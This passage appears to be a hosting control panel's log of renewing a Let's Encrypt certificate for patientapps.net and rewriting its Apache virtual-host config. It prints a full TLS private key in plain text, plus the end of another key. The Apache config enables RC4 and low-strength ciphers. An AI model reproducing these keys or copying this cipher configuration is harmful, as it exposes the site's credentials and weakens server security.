EmCU2lMQWCt5u96NrY8xsXb2vQKBgQC/y8LUcULjcpZWCnLY3egb3qVKa+rr7HgF
TnSVmghZDOUNy74kTenq3YZS8EcjoczD/SJzSf0A5S7cnJypnGPULJj2LVzSlOBe
dkeyROa+1iYUYJ4tin+I0Mpb/SHuWLHMVsr2KesVdGzIclpRo4taBRYYiHi3op4U
UBLxottnOwKBgG7CyQYnGwvLw/DCakSOrKKM0IuBFewj2Evrz9VntgeZaIaQUlRr
XCswJ3X09udkWa+1Hc8H7BfGts/qP2uTFQPtTLn8BtVrpkTmjS8wX0K8OIlqrsuG
b7lpY8JZ+f+iDaBjqamKSIlcUJEDuUntwOoaTnxGeLLP0INMoSmLp1G9AoGBAIYR
NdBwl5QL/kCIrz0e6OfKW3pJM37U3hS/gcktUdaFp/tbxz7zY6b0ULfbE685o7wA
TzuNpZghm/9ETlJVaobe4dF7Zh4hSTFetsFLXoxZf2bRHuCwpnOJl1pz+Gr2ftpa
dSdbp+Nobb40CSR2EKvNUGO3ycJ7nsqOKp/T+lAPAoGATB3UJgyj35fA3TaFNFWL
vHL8aFNuHaADodcBuDwPJd0VrxRRsF4G+bC2c8Cu2KGQPpa0TeIpMOfqbrUcqFKT
iG5zgijTzYh5OkO52UecAh+eEgov5m4hDW3tN6CzTMgNW0OHbJclG78emksUNnj+
/KA270M3rrZRnCRdJGUCk7U=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-27 06:00:56: Establishing a connection
2026-06-27 06:00:56: Establishing a connection
2026-06-27 06:00:56: 

PUT: /tmp/pkp784128

#!/bin/bash
if [ -d "/var/www/patientapps_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-27 06:00:57: 

chmod 755 /tmp/pkp784128; /tmp/pkp784128; rm /tmp/pkp784128

2026-06-27 06:00:57: 


1


2026-06-27 06:00:57: Establishing a connection
2026-06-27 06:00:57: 

PUT: /tmp/pkp347052

#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
cat > LOcvyQOm7K6qJWGohsUrB8gKT6B7FGn2w2hTUxN3bEA <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
LOcvyQOm7K6qJWGohsUrB8gKT6B7FGn2w2hTUxN3bEA.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 LOcvyQOm7K6qJWGohsUrB8gKT6B7FGn2w2hTUxN3bEA
cat > Nz7tgBcRHFlH1tK2-pZAUn84VF_WpgY7YvtbDIyymfg <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Nz7tgBcRHFlH1tK2-pZAUn84VF_WpgY7YvtbDIyymfg.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Nz7tgBcRHFlH1tK2-pZAUn84VF_WpgY7YvtbDIyymfg


2026-06-27 06:00:57: 

chmod 755 /tmp/pkp347052; /tmp/pkp347052; rm /tmp/pkp347052

2026-06-27 06:00:57: 




2026-06-27 06:01:04: Establishing a connection
2026-06-27 06:01:04: 

PUT: /tmp/pkp681544

#!/bin/bash
mkdir -p "/var/www/patientapps_www/.well-known/acme-challenge/"
cd "/var/www/patientapps_www/.well-known/acme-challenge/"
rm LOcvyQOm7K6qJWGohsUrB8gKT6B7FGn2w2hTUxN3bEA
rm Nz7tgBcRHFlH1tK2-pZAUn84VF_WpgY7YvtbDIyymfg


2026-06-27 06:01:04: 

chmod 755 /tmp/pkp681544; /tmp/pkp681544; rm /tmp/pkp681544

2026-06-27 06:01:04: 




2026-06-27 06:01:04: Establishing a connection
2026-06-27 06:01:05: 

PUT: /tmp/pkp924776

#!/bin/bash
temp_file=$(mktemp)
TARGET=8f796e4f4515bc3385e2df3b120b1cc8.crt

cat > $temp_file <<'endmsg'
12:95:76:01:6d:97:ec:58:1a:02:54:51:51:45:2f:e3

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBcsN0jhFo1dNJB+2saJSCEXbMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI3MDUwMjMzWhcNMjYwOTI1MDUwMjMyWjAaMRgwFgYDVQQD
Ew9wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQC3KDhVY13DA+8A3obCpnAQWkofp5ptQWTRbFfk6LYsbtNbODPTSZMrWQxVsvUi
yTMBM5tTDaf/SzRDWU982XLE0zjuK+JfyrqyS+Ub96GnmW1bGsNAFXT+sqEOruVj
O8KUQSlXYVLtBv+n5tE8qMXsttmidjIapv/Opg1RkZqs9GY2QiPga2qvZBtVI/zD
UVP1DMTBPlCuolKtjHwVDbPrlDAZN6CDSosnqEzfz91OJ9ykOKhcIVsMbqJBOMuS
ck1qK54wKEZdx63MmAjq1fDae1VG8tCv/fxa14vnWHNOZL22OE112T1mEwZePN3n
amQM2/j9GwcUV3WM04sUdmnLAgMBAAGjggIzMIICLzAOBgNVHQ8BAf8EBAMCBaAw
EwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQU8zVY
DMotJSofg2LgX24pHzvc4bwwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfU
aPswMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVu
Y3Iub3JnLzAvBgNVHREEKDAmgg9wYXRpZW50YXBwcy5uZXSCE3d3dy5wYXRpZW50
YXBwcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4Yd
aHR0cDovL3lyMS5jLmxlbmNyLm9yZy85Mi5jcmwwggENBgorBgEEAdZ5AgQCBIH+
BIH7APkAdwCvZ4g7V7BO3Y+m2X72LqjrgQrHcWDwJF5V1gwv54WHOgAAAZ8HqtJk
AAAEAwBIMEYCIQCKTFKy6S7Lxebf17TU6nPln9RTfsoOt0syu803LuHLtQIhAP2j
FEbQEXdBpviU/yX4DOJ7oXl2BRAFM59VcLKO1y6HAH4AGoudaw/+v4G0eTnG0jEK
htbRAtTwRuIYLJ3jX14mJe8AAAGfB6rVnQAIAAAFACOPjlwEAwBHMEUCIBZrIC9B
wYl3CbzAR3QZGkr2vLuJ6nktS5+9WohNQRk/AiEAhBObVcyjN7+IJfkRwfzLdLrW
qk43qK5/gMnOcpdDqAYwDQYJKoZIhvcNAQELBQADggEBAJ1ducK7rpDJKgdoicgX
TVqOaolOL8wAIiaDcA+DD6pomd1EHunIGmh/jCVJzkCFXAcJ/LzxX3BWjjZVW2DW
3+BZgHbpKqjNZi/T+zDGvDy1DIIq32N66dQIdiKXgplRBBAHQmA84XA/7x7P3bMU
Rn9X81pz88JoVkPgwv91SVwh9aJX440vVYUGVAj0m2rgvjJd24z2CGVHFX3d9BZV
0i7gT1Fj70twvBymo+n3V7F7QwcZ4wrRgNEvX4v9SnMFVtI2ZhmFX5N7U5V9411o
U6TOLHPuMncbuW+ZFc+kxBk5aqtFiOT++QIbKhsGL3vevwYk+8Zpll4G6gv5yTJ9
pJg=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC3KDhVY13DA+8A
3obCpnAQWkofp5ptQWTRbFfk6LYsbtNbODPTSZMrWQxVsvUiyTMBM5tTDaf/SzRD
WU982XLE0zjuK+JfyrqyS+Ub96GnmW1bGsNAFXT+sqEOruVjO8KUQSlXYVLtBv+n
5tE8qMXsttmidjIapv/Opg1RkZqs9GY2QiPga2qvZBtVI/zDUVP1DMTBPlCuolKt
jHwVDbPrlDAZN6CDSosnqEzfz91OJ9ykOKhcIVsMbqJBOMuSck1qK54wKEZdx63M
mAjq1fDae1VG8tCv/fxa14vnWHNOZL22OE112T1mEwZePN3namQM2/j9GwcUV3WM
04sUdmnLAgMBAAECggEACg2UmKc6wGypA9iy9+B6eoNM2ejxUnmKPEPLR+lir79T
gt3BBnddiGhmWMEuWv7vzus+EB8fRKV5lGVvYKXE0BCHPuy8tk+ifg0pYabEF4wV
0wV93bjFHQJr/FTVirlUfZ5dU7T9VWeSxRdSY8HLFKpCpCatqwXV459R+tNYSebg
7bIi7DiCmmxglwMlsZJyIQOoS4lndloSLdvWaT0xyUbVblIpK8G52YGX8wJVk1Ya
I8AG+M9V9z65lfrhbNHXJ3atkfAWKA8i49ZpvSN4uEl1UtJVLCL9pcSY5cUvPosr
JGoJD4wC2QOy7MGhjJTfekxq5dG4qTFZhyfHSe3/EQKBgQD4eQVJeam26cAI6HQs
oyCd71uiRTwgjEl47q+yx/YKwhEUC/E3EFMFtg/XoY7xfour83LLvfVWdI54aEHT
Si6tmsWaqIvu2YpM8w1wbdEeRMcDSvgvj/7uJJVSzdkwbo/FK0YKKYD1WqSEMDj4
Fo6BbetUjoGe9tWmJ7o3q7G7GwKBgQC8tKhOmo8pkfmXFoKee6FOjE7RrBRiFk47
i8l4DvS9WhlRFYYecd8CK9sV3zaksOaV1Fs/3zt9MSr76ArtWAhR956vJBiXyzhR
NOwQwdKNl/UJ9IHY7BSEEewcZKHDrrWGhvLGUqloV0HFvocn1Pr1E5civKAiJvi2
9ePuRBXHEQKBgQDW618eWcTpuTBoxCBQx90bnwFEz9wdTxryJosE+h8g2RIKo/XG
KjGVvA/h9RV+X3YSiqYeAzYlzPW6wntFdmH/ueL4TpeTRslwm79hIywBoX3+pCce
hM/+Tth2YiVd1hQ3eKHBgnrQPtIUoN12AZTL8Tbf0c/enyTX7n8NTk6SRwKBgHHe
KXlU9nJFLXCoGqV7QHjfXWhUB/CwOQDhdu7FR5VC2uf8rvOMDt+GiysFiDmUrW9X
tsAx+fmvQ5rCCGXzqwGbA9v3Uge2jwMhhhkOe/kI6snZCslUm4SeM/VmG96ye8Lz
h2d41dSqYnvqXjAA6nYcHiTN4Wr6TTZJ5gIOf32hAoGBAOxjmNOQhtjou0LyCGeq
6YRxNF/MXZ1zzXr6aGt5YD8i6+BziiyejXLXZkQdrQVs+ugdO9WujVIx3L5UcP5/
+YFqJ4cBNugG3JQDKrRRlRMmyEfev+olCFm1rMt7NJVwrR6QOBfnYL9EV1DGx+z8
ejTSiKrCU5Aw5JOXtyR2rfIA
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-27 06:01:05: 

chmod 755 /tmp/pkp924776; /tmp/pkp924776; rm /tmp/pkp924776

2026-06-27 06:01:05: 


dir=/etc/ssl/certs


2026-06-27 06:01:05: 

PUT: /tmp/pkp485150

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_www_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-27 06:01:05: 

chmod 755 /tmp/pkp485150; /tmp/pkp485150; rm /tmp/pkp485150

2026-06-27 06:01:05: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_www_net.conf 43
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Files apple-app-site-association>
        Header set Content-type	"application/json"
    </Files>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>






2026-06-27 06:01:05: 

PUT: /tmp/pkp255146

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_www_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_www_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/www_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.php index.html index.htm index.py
</VirtualHost>

<VirtualHost *:443>
    ServerName	patientapps.net
    ServerAlias	www.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/8f796e4f4515bc3385e2df3b120b1cc8.crt
    DocumentRoot	/var/www/patientapps_www
    <Directory /var/www/patientapps_www>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    <Files apple-app-site-association>
        Header set Content-type	"application/json"
    </Files>
    
    CustomLog	/var/log/apache2/patientapps/www_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/www_secure_error.log
